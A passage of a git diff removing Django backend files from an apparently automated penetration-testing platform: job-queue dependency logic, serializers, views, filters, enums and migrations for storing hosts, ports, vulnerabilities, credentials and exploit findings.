execution_job.meta['intensity'] = intensity - execution_job.meta['arguments'] = arguments - execution_job.meta['callback'] = callback - execution_job.meta['targets'] = targets - execution_job.save_meta() - execution.rq_job_id = execution_job.id # Save job Id in execution model - execution.save(update_fields=['rq_job_id']) - return execution_job diff --git a/src/backend/executions/queue/utils.py b/src/backend/executions/queue/utils.py deleted file mode 100644 index a8e56f9a4..000000000 --- a/src/backend/executions/queue/utils.py +++ /dev/null @@ -1,125 +0,0 @@ -import logging -from typing import List, cast - -import django_rq -from executions import utils -from executions.models import Execution -from executions.queue import producer -from findings.models import Finding -from input_types.models import BaseInput -from processes.executor.callback import process_callback -from queues.utils import cancel_and_delete_job -from rq.job import Job -from rq.registry import DeferredJobRegistry -from tools.models import Argument, Intensity -from tools.tools.base_tool import BaseTool - -logger = logging.getLogger() # Rekono logger - - -def get_findings_from_dependencies(dependencies: list) -> List[BaseInput]: - '''Get findings from dependencies. - - Args: - dependencies (list): Id list of dependency jobs - - Returns: - List[BaseInput]: Finding list obtained from dependencies - ''' - executions_queue = django_rq.get_queue('executions-queue') # Get execution list - findings = [] - for dep_id in dependencies: # For each dependency Id - dependency = executions_queue.fetch_job(dep_id) # Get dependency job - if not dependency or not dependency.result: - continue # No job or results found - findings.extend(dependency.result.findings) # Get findings from result - return findings - - -def update_new_dependencies(parent_job: str, new_jobs: list) -> None: - '''Update on hold jobs dependencies to include new jobs as dependency. Based on the parent job dependents. - - Args: - parent_job (str): Parent job Id, used to get affected on hold jobs - new_jobs (list): Id list of new jobs - ''' - executions_queue = django_rq.get_queue('executions-queue') # Get execution list - registry = DeferredJobRegistry(queue=executions_queue) # Get on hold jobs registry - for job_id in registry.get_job_ids(): # For each on hold job - job_on_hold = executions_queue.fetch_job(job_id) # Get on hold job - # If on hold job is waiting for parent job - if job_on_hold and parent_job in job_on_hold._dependency_ids: - dependencies = job_on_hold._dependency_ids # Get on hold job original dependencies - # Include new jobs as on hold job dependency - dependencies.extend(new_jobs) - meta = job_on_hold.get_meta() # Get on hold job metadata - cancel_and_delete_job('executions-queue', job_id) # Cancel and delete on hold job - # Enqueue an on hold job copy with new dependencies - producer.producer( - meta['execution'], - meta['intensity'], - meta['arguments'], - targets=meta['targets'], - callback=meta['callback'], - dependencies=dependencies - ) - - -def process_dependencies( - execution: Execution, - intensity: Intensity, - arguments: List[Argument], - targets: List[BaseInput], - current_job: Job, - tool_runner: BaseTool -) -> List[BaseInput]: - '''Get findings from job dependencies and enqueue new executions if required. - - Args: - execution (Execution): Execution associated to the current job - intensity (Intensity): Intensity to apply in the execution - arguments (List[Argument]): Arguments implied in the execution - targets (List[BaseInput]): Targets and resources to include in the execution - current_job (Job): Current job - tool_runner (BaseTool): Tool instance associated to the tool - - Returns: - List[Finding]: Finding list to include in the current job execution - ''' - # Get findings from dependent jobs - findings = get_findings_from_dependencies(current_job._dependency_ids) - if not findings: - logger.info('[Execution] No findings found from dependencies') - return [] # No findings found - new_jobs_ids = [] - # Get required executions to include all previous findings - executions: List[List[BaseInput]] = utils.get_executions_from_findings(findings, execution.tool) - logger.info(f'[Execution] {len(executions) - 1} new executions from previous findings') - # Filter executions based on tool arguments - executions = [ - param_set for param_set in executions if tool_runner.check_arguments(targets, cast(List[Finding], param_set)) - ] - # For each executions, except first whose findings will be included in the current jobs - for findings in executions[1:]: - # Create a new execution entity from the current execution data - new_execution = Execution.objects.create( - task=execution.task, - tool=execution.tool, - configuration=execution.configuration - ) - job = producer.producer( # Enqueue the new execution - new_execution, - intensity, - arguments, - targets=targets, - previous_findings=findings, # Include the previous findings - callback=process_callback, - # At queue start, because it could be a dependency of next jobs - at_front=True - ) - new_jobs_ids.append(job.id) # Save new Job Id - if new_jobs_ids: # New Jobs has been created - # Update next jobs dependencies based on current job dependents - update_new_dependencies(current_job.id, new_jobs_ids) - # Return first findings list to be used in the current job - return executions[0] if executions else [] diff --git a/src/backend/executions/serializers.py b/src/backend/executions/serializers.py deleted file mode 100644 index 1341ad02f..000000000 --- a/src/backend/executions/serializers.py +++ /dev/null @@ -1,20 +0,0 @@ -from executions.models import Execution -from rest_framework import serializers -from tools.serializers import ConfigurationSerializer, SimplyToolSerializer - - -class ExecutionSerializer(serializers.ModelSerializer): - '''Serializer to get the executions data via API.''' - - tool = SimplyToolSerializer(many=False, read_only=True) # Tool details - configuration = ConfigurationSerializer(many=False, read_only=True) # Configuration details - - class Meta: - '''Serializer metadata.''' - - model = Execution - fields = ( # Execution fields exposed via API - 'id', 'task', 'tool', 'configuration', 'output_plain', 'output_error', - 'status', 'start', 'end', 'imported_in_defectdojo', 'osint', 'host', - 'port', 'path', 'technology', 'vulnerability', 'credential', 'exploit' - ) diff --git a/src/backend/executions/urls.py b/src/backend/executions/urls.py deleted file mode 100644 index c90cca486..000000000 --- a/src/backend/executions/urls.py +++ /dev/null @@ -1,9 +0,0 @@ -from executions.views import ExecutionViewSet -from rest_framework.routers import SimpleRouter - -# Register your views here. - -router = SimpleRouter() -router.register('executions', ExecutionViewSet) - -urlpatterns = router.urls diff --git a/src/backend/executions/utils.py b/src/backend/executions/utils.py deleted file mode 100644 index 1a181c500..000000000 --- a/src/backend/executions/utils.py +++ /dev/null @@ -1,116 +0,0 @@ -from typing import Any, Dict, List, cast - -from input_types import utils -from input_types.base import BaseInput -from input_types.models import InputType -from stringcase import snakecase -from tools.models import Argument, Input, Tool - - -def get_executions_from_findings_with_relationships( - base_inputs: Dict[InputType, List[BaseInput]], - tool: Tool -) -> List[List[BaseInput]]: - '''Get needed executions for a tool based on a given inputs with relationships between them. - - Args: - base_inputs (Dict[InputType, List[BaseInput]]): InputTypes for this tool and related input list - tool (Tool): Tool that will be executed - - Returns: - List[List[BaseInput]]: List of inputs to be passed for each tool execution - ''' - executions: List[List[BaseInput]] = [[]] # BaseInput list for each execution - # It's required because base inputs will be assigned to executions based on relationships between them - input_relations = utils.get_relations_between_input_types() # Get relations between input types - # For each input type, and his related input types - for input_type, related_input_types in list(reversed(input_relations.items())): - if input_type not in base_inputs: - continue - # Get argument by tool and input type - argument = Argument.objects.filter(tool=tool, inputs__type=input_type).order_by('inputs__order').first() - if related_input_types: # Input with related input types - for base_input in base_inputs[input_type]: # For each input - for index, execution_list in enumerate(executions.copy()): # For each execution list - assigned = False - for related_input_type in related_input_types: # For each related input type - # Check number of inputs of the same type in this execution - base_inputs_by_class = [bi for bi in execution_list if bi.__class__ == base_input.__class__] - # Get callback model class from related input type - callback_model = related_input_type.get_callback_model_class() - # Get field name to the related callback model - callback_model_field = snakecase(cast(Any, callback_model).__name__) if callback_model else '' - if ( - ( - # Check if input has a relationship - hasattr(base_input, related_input_type.name.lower()) and - getattr(base_input, related_input_type.name.lower()) in execution_list - ) or - ( - # Check if input has a relationship with a callback model - hasattr(base_input, callback_model_field) and - getattr(base_input, callback_model_field) in execution_list - ) - ): - if argument.multiple or len(base_inputs_by_class) == 0: - # Add input in current execution - executions[index].append(base_input) - assigned = True - break - elif not argument.multiple and len(base_inputs_by_class) > 0: - # Duplicate current execution - new_execution = execution_list.copy() # Copy input list - new_execution.remove(base_inputs_by_class[0]) # Remove input with same type - new_execution.append(base_input) # Add input - executions.append(new_execution) - assigned = True - break - if assigned: - break - elif argument.multiple: - # Input type without relationships and argument that allows multiple inputs - for item in range(len(executions)): - executions[item].extend(base_inputs[input_type]) # Add inputs in all executions - else: # Input type without relationships - new_executions: List[List[BaseInput]] = [] - for base_input in base_inputs[input_type]: # For each input - for execution_list in executions: # For each execution - new_executions.append(list(execution_list + [base_input])) # Add input to the execution - executions = new_executions - return executions - - -def get_executions_from_findings(base_inputs: List[BaseInput], tool: Tool) -> List[List[BaseInput]]: - '''Get needed executions for a tool based on a given input (Finding, Resource or Target) list. - - Args: - base_inputs (List[BaseInput]): BaseInput list - tool (Tool): Tool that will be executed - - Returns: - List[List[BaseInput]]: List of inputs to be passed for each tool execution - ''' - tool_inputs: List[Input] = Input.objects.filter(argument__tool=tool).all() # Get inputs by tool - filtered_base_inputs: Dict[InputType, List[BaseInput]] = {} - for tool_input in tool_inputs: - base_input_list = [ - bi for bi in base_inputs if bi.__class__ in [ - tool_input.type.get_model_class(), tool_input.type.get_callback_model_class() - ] - ] - if base_input_list: - filtered_base_inputs[tool_input.type] = base_input_list # Relation between inputs and classes - if len(filtered_base_inputs.keys()) > 1: # Multiple input types - # Get executions from inputs with maybe relationships - return get_executions_from_findings_with_relationships(filtered_base_inputs, tool) - elif len(filtered_base_inputs.keys()) == 1: # Only one input type - # Get argument by tool and input type - argument = Argument.objects.filter( - tool=tool, inputs__type=list(filtered_base_inputs.keys())[0] - ).order_by('inputs__order').first() - if argument.multiple: # Argument with multiple inputs - return list(filtered_base_inputs.values()) # One execution with all inputs - else: - return [[bi] for bi in list(filtered_base_inputs.values())[0]] # One execution for each input - # By default, one execution with all inputs - return [base_inputs] diff --git a/src/backend/executions/views.py b/src/backend/executions/views.py deleted file mode 100644 index 687241fe1..000000000 --- a/src/backend/executions/views.py +++ /dev/null @@ -1,19 +0,0 @@ -from api.views import GetViewSet -from rest_framework.mixins import ListModelMixin, RetrieveModelMixin - -from executions.filters import ExecutionFilter -from executions.models import Execution -from executions.serializers import ExecutionSerializer - -# Create your views here. - - -class ExecutionViewSet(GetViewSet, ListModelMixin, RetrieveModelMixin): - '''Execution ViewSet that includes: get and retrieve features.''' - - queryset = Execution.objects.all().order_by('-id') - serializer_class = ExecutionSerializer - filterset_class = ExecutionFilter - # Fields used to search executions - search_fields = ['task__target__target', 'tool__name', 'configuration__name'] - members_field = 'task__target__project__members' diff --git a/src/backend/findings/__init__.py b/src/backend/findings/__init__.py deleted file mode 100644 index c12bc1f9f..000000000 --- a/src/backend/findings/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Findings.''' diff --git a/src/backend/findings/admin.py b/src/backend/findings/admin.py deleted file mode 100644 index 90f0056db..000000000 --- a/src/backend/findings/admin.py +++ /dev/null @@ -1,14 +0,0 @@ -from django.contrib import admin -from findings.models import (OSINT, Credential, Path, Port, Exploit, - Host, Technology, Vulnerability) - -# Register your models here. - -admin.site.register(OSINT) -admin.site.register(Host) -admin.site.register(Port) -admin.site.register(Path) -admin.site.register(Technology) -admin.site.register(Vulnerability) -admin.site.register(Credential) -admin.site.register(Exploit) diff --git a/src/backend/findings/apps.py b/src/backend/findings/apps.py deleted file mode 100644 index 3c1b0b0c8..000000000 --- a/src/backend/findings/apps.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.apps import AppConfig - - -class FindingsConfig(AppConfig): - '''Findings Django application.''' - - name = 'findings' diff --git a/src/backend/findings/enums.py b/src/backend/findings/enums.py deleted file mode 100644 index 15d392f37..000000000 --- a/src/backend/findings/enums.py +++ /dev/null @@ -1,61 +0,0 @@ -from django.db import models - - -class Severity(models.TextChoices): - '''Severity values to categorize findings, specially Vulnerability findings.''' - - INFO = 'Info' - LOW = 'Low' - MEDIUM = 'Medium' - HIGH = 'High' - CRITICAL = 'Critical' - - -class DataType(models.TextChoices): - '''Data types to categorize OSINT findings.''' - - IP = 'IP' - DOMAIN = 'Domain' - VHOST = 'VHOST' - URL = 'Url' - EMAIL = 'Email' - LINK = 'Link' - ASN = 'ASN' - USER = 'Username' - PASSWORD = 'Password' - - -class OSType(models.TextChoices): - '''OS types to categorize Host findings.''' - - LINUX = 'Linux' - WINDOWS = 'Windows' - MACOS = 'MacOS' - IOS = 'iOS' - ANDROID = 'Android' - SOLARIS = 'Solaris' - FREEBSD = 'FreeBSD' - OTHER = 'Other' - - -class PortStatus(models.TextChoices): - '''Port statuses to categorize ports.''' - - OPEN = 'Open' - OPEN_FILTERED = 'Open - Filtered' - FILTERED = 'Filtered' - CLOSED = 'Closed' - - -class Protocol(models.TextChoices): - '''Protocols to categorize Port services.''' - - UDP = 'UDP' - TCP = 'TCP' - - -class PathType(models.TextChoices): - '''Protocols to categorize Paths.''' - - ENDPOINT = 'ENDPOINT' - SHARE = 'SHARE' diff --git a/src/backend/findings/filters.py b/src/backend/findings/filters.py deleted file mode 100644 index 3e378db5c..000000000 --- a/src/backend/findings/filters.py +++ /dev/null @@ -1,323 +0,0 @@ -from typing import List - -from api.filters import BaseToolFilter -from django.db.models import QuerySet -from django_filters.rest_framework import filters -from django_filters.rest_framework.filters import OrderingFilter - -from findings.enums import OSType -from findings.models import (OSINT, Credential, Exploit, Host, Path, Port, - Technology, Vulnerability) - -# Common ordering anf filtering fields for all Finding models -FINDING_ORDERING = ( - ('executions__task', 'task'), - ('executions__task__target', 'target'), - ('executions__task__target__project', 'project'), - ('executions__task__executor', 'executor'), - 'executions', - 'detected_by', - 'first_seen', - 'last_seen', - 'is_active' -) -FINDING_FILTERING = { - 'executions': ['exact'], - 'executions__task': ['exact'], - 'executions__task__target': ['exact'], - 'executions__task__target__target': ['exact', 'icontains'], - 'executions__task__target__project': ['exact'], - 'executions__task__target__project__name': ['exact', 'icontains'], - 'executions__task__executor': ['exact'], - 'executions__task__executor__username': ['exact', 'icontains'], - 'executions__start': ['gte', 'lte', 'exact'], - 'executions__end': ['gte', 'lte', 'exact'], - 'detected_by': ['exact'], - 'detected_by__name': ['exact', 'icontains'], - 'first_seen': ['gte', 'lte', 'exact'], - 'last_seen': ['gte', 'lte', 'exact'], - 'is_active': ['exact'], -} - - -class FindingFilter(BaseToolFilter): - '''Common FilterSet to filter and sort findings entities.''' - - tool_fields: List[str] = ['executions__task__tool', 'executions__step__tool'] # Filter by two Tool fields - - -class BaseVulnerabilityFilter(FindingFilter): - '''Common FilterSet to filter findings entities based on vulnerability fields.''' - - port = filters.NumberFilter(method='filter_port') # Filter by port - port_number = filters.NumberFilter(method='filter_port_number') # Filter by port number - host = filters.NumberFilter(method='filter_host') # Filter by host - host_address = filters.CharFilter(method='filter_host_address') # Filter by host address - host_os_type = filters.ChoiceFilter(method='filter_host_os_type', choices=OSType.choices) # Filter by host OS - # Port field names to use in the filters - port_fields: List[str] = [] - host_fields: List[str] = [] # Host field names to use in the filters - - def filter_port(self, queryset: QuerySet, name: str, value: int) -> QuerySet: - '''Filter queryset by port Id. - - Args: - queryset (QuerySet): Finding queryset to be filtered - name (str): Field name, not used in this case - value (int): Port Id - - Returns: - QuerySet: Filtered queryset by port Id - ''' - return self.multiple_field_filter(queryset, value, self.port_fields) - - def filter_port_number(self, queryset: QuerySet, name: str, value: int) -> QuerySet: - '''Filter queryset by port number. - - Args: - queryset (QuerySet): Finding queryset to be filtered - name (str): Field name, not used in this case - value (int): Port number - - Returns: - QuerySet: Filtered queryset by port number - ''' - return self.multiple_field_filter(queryset, value, [f'{f}__port' for f in self.port_fields]) - - def filter_host(self, queryset: QuerySet, name: str, value: int) -> QuerySet: - '''Filter queryset by host Id. - - Args: - queryset (QuerySet): Finding queryset to be filtered - name (str): Field name, not used in this case - value (int): Host Id - - Returns: - QuerySet: Filtered queryset by host Id - ''' - return self.multiple_field_filter(queryset, value, self.host_fields) - - def filter_host_address(self, queryset: QuerySet, name: str, value: str) -> QuerySet: - '''Filter queryset by host address. - - Args: - queryset (QuerySet): Finding queryset to be filtered - name (str): Field name, not used in this case - value (str): Host address - - Returns: - QuerySet: Filtered queryset by host address - ''' - return self.multiple_field_filter(queryset, value, [f'{f}__address' for f in self.host_fields]) - - def filter_host_os_type(self, queryset: QuerySet, name: str, value: OSType) -> QuerySet: - '''Filter queryset by host OS type. - - Args: - queryset (QuerySet): Finding queryset to be filtered - name (str): Field name, not used in this case - value (OSType): OS type - - Returns: - QuerySet: Filtered queryset by host OS type - ''' - return self.multiple_field_filter(queryset, value, [f'{f}__os_type' for f in self.host_fields]) - - -class OSINTFilter(FindingFilter): - '''FilterSet to filter and sort OSINT entities.''' - - # Ordering fields including common ones - o = OrderingFilter(fields=FINDING_ORDERING + ('data', 'data_type', 'source')) - - class Meta: - '''FilterSet metadata.''' - - model = OSINT - fields = FINDING_FILTERING.copy() # Common filtering fields - fields.update({ # Include specific filtering fields - 'data': ['exact', 'icontains'], - 'data_type': ['exact'], - 'source': ['exact', 'icontains'], - }) - - -class HostFilter(FindingFilter): - '''FilterSet to filter and sort Host entities.''' - - o = OrderingFilter(fields=FINDING_ORDERING + ('address', 'os_type')) # Ordering fields including common ones - - class Meta: - '''FilterSet metadata.''' - - model = Host - fields = FINDING_FILTERING.copy() # Common filtering fields - fields.update({ # Include specific filtering fields - 'address': ['exact', 'icontains'], - 'os_type': ['exact'], - }) - - -class PortFilter(FindingFilter): - '''FilterSet to filter and sort Port entities.''' - - # Ordering fields including common ones - o = OrderingFilter( - fields=FINDING_ORDERING + (('host__os_type', 'os_type'), 'host', 'port', 'protocol', 'service', 'status') - ) - - class Meta: - '''FilterSet metadata.''' - - model = Port - fields = FINDING_FILTERING.copy() # Common filtering fields - fields.update({ # Include specific filtering fields - 'host': ['exact', 'isnull'], - 'host__address': ['exact', 'icontains'], - 'host__os_type': ['exact'], - 'port': ['exact'], - 'status': ['iexact'], - 'protocol': ['iexact'], - 'service': ['exact', 'icontains'], - }) - - -class PathFilter(FindingFilter): - '''FilterSet to filter and sort Path entities.''' - - # Ordering fields including common ones - o = OrderingFilter(fields=FINDING_ORDERING + (('port__host', 'host'), 'port', 'path', 'status', 'type')) - - class Meta: - '''FilterSet metadata.''' - - model = Path - fields = FINDING_FILTERING.copy() # Common filtering fields - fields.update({ # Include specific filtering fields - 'port': ['exact', 'isnull'], - 'port__host': ['exact'], - 'port__host__address': ['exact', 'icontains'], - 'port__host__os_type': ['exact'], - 'port__port': ['exact'], - 'path': ['exact', 'icontains'], - 'status': ['exact'], - 'type': ['exact'], - }) - - -class TechnologyFilter(FindingFilter): - '''FilterSet to filter and sort Technology entities.''' - - # Ordering fields including common ones - o = OrderingFilter(fields=FINDING_ORDERING + (('port__host', 'host'), 'port', 'name', 'version')) - - class Meta: - '''FilterSet metadata.''' - - model = Technology - fields = FINDING_FILTERING.copy() # Common filtering fields - fields.update({ # Include specific filtering fields - 'port': ['exact', 'isnull'], - 'port__host': ['exact'], - 'port__host__address': ['exact', 'icontains'], - 'port__host__os_type': ['exact'], - 'port__port': ['exact'], - 'name': ['exact', 'icontains'], - 'version': ['exact', 'icontains'], - 'related_to': ['exact'], - }) - - -class CredentialFilter(FindingFilter): - '''FilterSet to filter and sort Credential entities.''' - - o = OrderingFilter(fields=FINDING_ORDERING + ('email', 'username')) # Ordering fields including common ones - - class Meta: - '''FilterSet metadata.''' - - model = Credential - fields = FINDING_FILTERING.copy() # Common filtering fields - fields.update({ # Include specific filtering fields - 'technology': ['exact', 'isnull'], - 'technology__port': ['exact', 'isnull'], - 'technology__port__host': ['exact'], - 'technology__port__host__address': ['exact', 'icontains'], - 'technology__port__host__os_type': ['exact'], - 'technology__port__port': ['exact'], - 'technology__name': ['exact', 'icontains'], - 'technology__version': ['exact', 'icontains'], - 'email': ['exact', 'icontains'], - 'username': ['exact', 'icontains'], - }) - - -class VulnerabilityFilter(BaseVulnerabilityFilter): - '''FilterSet to filter and sort Vulnerability entities.''' - - # Port field names to use in the filters - port_fields: List[str] = ['technology__port', 'port'] - # Host field names to use in the filters - host_fields: List[str] = ['technology__port__host', 'port__host'] - # Ordering fields including common ones - o = OrderingFilter(fields=FINDING_ORDERING + ('port', 'technology', 'name', 'severity', 'cve')) - - class Meta: - '''FilterSet metadata.''' - - model = Vulnerability - fields = FINDING_FILTERING.copy() # Common filtering fields - fields.update({ # Include specific filtering fields - 'port': ['isnull'], - 'technology': ['exact', 'isnull'], - 'technology__name': ['exact', 'icontains'], - 'technology__version': ['exact', 'icontains'], - 'name': ['exact', 'icontains'], - 'description': ['exact', 'icontains'], - 'severity': ['exact'], - 'cve': ['exact', 'contains'], - 'exploit': ['isnull'] - }) - - -class ExploitFilter(BaseVulnerabilityFilter): - '''FilterSet to filter and sort Exploit entities.''' - - # Port field names to use in the filters - port_fields: List[str] = [ - 'technology__port', 'vulnerability__port', - 'vulnerability__technology__port' - ] - # Host field names to use in the filters - host_fields: List[str] = [ - 'technology__port__host', 'vulnerability__port__host', - 'vulnerability__technology__port__host' - ] - # Ordering fields including common ones - o = OrderingFilter(fields=FINDING_ORDERING + ('vulnerability', 'technology', 'title', 'edb_id')) - - class Meta: - '''FilterSet metadata.''' - - model = Exploit - fields = FINDING_FILTERING.copy() # Common filtering fields - fields.update({ # Include specific filtering fields - 'vulnerability': ['exact', 'isnull'], - 'vulnerability__name': ['exact', 'icontains'], - 'vulnerability__severity': ['exact'], - 'vulnerability__cve': ['exact', 'contains'], - 'vulnerability__technology': ['exact'], - 'vulnerability__technology__name': ['exact', 'icontains'], - 'vulnerability__technology__version': ['exact', 'icontains'], - 'technology': ['exact', 'isnull'], - 'technology__name': ['exact', 'icontains'], - 'technology__version': ['exact', 'icontains'], - 'technology__port': ['exact'], - 'technology__port__host': ['exact'], - 'technology__port__host__address': ['exact', 'icontains'], - 'technology__port__host__os_type': ['exact'], - 'technology__port__port': ['exact'], - 'title': ['exact', 'icontains'], - 'edb_id': ['exact'], - 'reference': ['exact', 'icontains'], - }) diff --git a/src/backend/findings/migrations/0001_initial.py b/src/backend/findings/migrations/0001_initial.py deleted file mode 100644 index 847547f95..000000000 --- a/src/backend/findings/migrations/0001_initial.py +++ /dev/null @@ -1,180 +0,0 @@ -# Generated by Django 3.2.13 on 2022-04-24 15:14 - -from django.db import migrations, models -import django.db.models.deletion -import input_types.base - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('tools', '0002_initial'), - ('executions', '0001_initial'), - ] - - operations = [ - migrations.CreateModel( - name='Host', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('first_seen', models.DateTimeField(auto_now_add=True)), - ('last_seen', models.DateTimeField(auto_now_add=True)), - ('is_active', models.BooleanField(default=True)), - ('address', models.TextField(max_length=30)), - ('os', models.TextField(blank=True, max_length=250, null=True)), - ('os_type', models.TextField(choices=[('Linux', 'Linux'), ('Windows', 'Windows'), ('MacOS', 'Macos'), ('iOS', 'Ios'), ('Android', 'Android'), ('Solaris', 'Solaris'), ('FreeBSD', 'Freebsd'), ('Other', 'Other')], default='Other', max_length=10)), - ('detected_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool')), - ('executions', models.ManyToManyField(related_name='host', to='executions.Execution')), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='Port', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('first_seen', models.DateTimeField(auto_now_add=True)), - ('last_seen', models.DateTimeField(auto_now_add=True)), - ('is_active', models.BooleanField(default=True)), - ('port', models.IntegerField()), - ('status', models.TextField(choices=[('Open', 'Open'), ('Open - Filtered', 'Open Filtered'), ('Filtered', 'Filtered'), ('Closed', 'Closed')], default='Open', max_length=15)), - ('protocol', models.TextField(blank=True, choices=[('UDP', 'Udp'), ('TCP', 'Tcp')], max_length=5, null=True)), - ('service', models.TextField(blank=True, max_length=50, null=True)), - ('detected_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool')), - ('executions', models.ManyToManyField(related_name='port', to='executions.Execution')), - ('host', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='port', to='findings.host')), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='Technology', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('first_seen', models.DateTimeField(auto_now_add=True)), - ('last_seen', models.DateTimeField(auto_now_add=True)), - ('is_active', models.BooleanField(default=True)), - ('name', models.TextField(max_length=100)), - ('version', models.TextField(blank=True, max_length=100, null=True)), - ('description', models.TextField(blank=True, max_length=200, null=True)), - ('reference', models.TextField(blank=True, max_length=250, null=True)), - ('detected_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool')), - ('executions', models.ManyToManyField(related_name='technology', to='executions.Execution')), - ('port', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='technology', to='findings.port')), - ('related_to', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='related_technologies', to='findings.technology')), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='Vulnerability', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('first_seen', models.DateTimeField(auto_now_add=True)), - ('last_seen', models.DateTimeField(auto_now_add=True)), - ('is_active', models.BooleanField(default=True)), - ('name', models.TextField(max_length=50)), - ('description', models.TextField(blank=True, null=True)), - ('severity', models.TextField(choices=[('Info', 'Info'), ('Low', 'Low'), ('Medium', 'Medium'), ('High', 'High'), ('Critical', 'Critical')], default='Medium')), - ('cve', models.TextField(blank=True, max_length=20, null=True)), - ('cwe', models.TextField(blank=True, max_length=20, null=True)), - ('osvdb', models.TextField(blank=True, max_length=20, null=True)), - ('reference', models.TextField(blank=True, max_length=250, null=True)), - ('detected_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool')), - ('executions', models.ManyToManyField(related_name='vulnerability', to='executions.Execution')), - ('port', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='vulnerability', to='findings.port')), - ('technology', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='vulnerability', to='findings.technology')), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='Path', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('first_seen', models.DateTimeField(auto_now_add=True)), - ('last_seen', models.DateTimeField(auto_now_add=True)), - ('is_active', models.BooleanField(default=True)), - ('path', models.TextField(max_length=500)), - ('status', models.IntegerField(blank=True, null=True)), - ('extra', models.TextField(blank=True, max_length=100, null=True)), - ('type', models.TextField(choices=[('ENDPOINT', 'Endpoint'), ('SHARE', 'Share')], default='ENDPOINT')), - ('detected_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool')), - ('executions', models.ManyToManyField(related_name='path', to='executions.Execution')), - ('port', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='path', to='findings.port')), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='OSINT', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('first_seen', models.DateTimeField(auto_now_add=True)), - ('last_seen', models.DateTimeField(auto_now_add=True)), - ('is_active', models.BooleanField(default=True)), - ('data', models.TextField(max_length=250)), - ('data_type', models.TextField(choices=[('IP', 'Ip'), ('Domain', 'Domain'), ('Url', 'Url'), ('Email', 'Email'), ('Link', 'Link'), ('ASN', 'Asn'), ('Username', 'User'), ('Password', 'Password')], max_length=10)), - ('source', models.TextField(blank=True, max_length=50, null=True)), - ('reference', models.TextField(blank=True, max_length=250, null=True)), - ('detected_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool')), - ('executions', models.ManyToManyField(related_name='osint', to='executions.Execution')), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='Exploit', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('first_seen', models.DateTimeField(auto_now_add=True)), - ('last_seen', models.DateTimeField(auto_now_add=True)), - ('is_active', models.BooleanField(default=True)), - ('title', models.TextField(max_length=100)), - ('edb_id', models.IntegerField(blank=True, null=True)), - ('reference', models.TextField(blank=True, max_length=250, null=True)), - ('detected_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool')), - ('executions', models.ManyToManyField(related_name='exploit', to='executions.Execution')), - ('technology', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='exploit', to='findings.technology')), - ('vulnerability', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='exploit', to='findings.vulnerability')), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='Credential', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('first_seen', models.DateTimeField(auto_now_add=True)), - ('last_seen', models.DateTimeField(auto_now_add=True)), - ('is_active', models.BooleanField(default=True)), - ('email', models.TextField(blank=True, max_length=100, null=True)), - ('username', models.TextField(blank=True, max_length=100, null=True)), - ('secret', models.TextField(blank=True, max_length=300, null=True)), - ('context', models.TextField(blank=True, max_length=300, null=True)), - ('detected_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='tools.tool')), - ('executions', models.ManyToManyField(related_name='credential', to='executions.Execution')), - ('technology', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='technology', to='findings.technology')), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - ] diff --git a/src/backend/findings/migrations/0002_alter_osint_data_type.py b/src/backend/findings/migrations/0002_alter_osint_data_type.py deleted file mode 100644 index 8f17793ce..000000000 --- a/src/backend/findings/migrations/0002_alter_osint_data_type.py +++ /dev/null @@ -1,18 +0,0 @@ -# Generated by Django 3.2.16 on 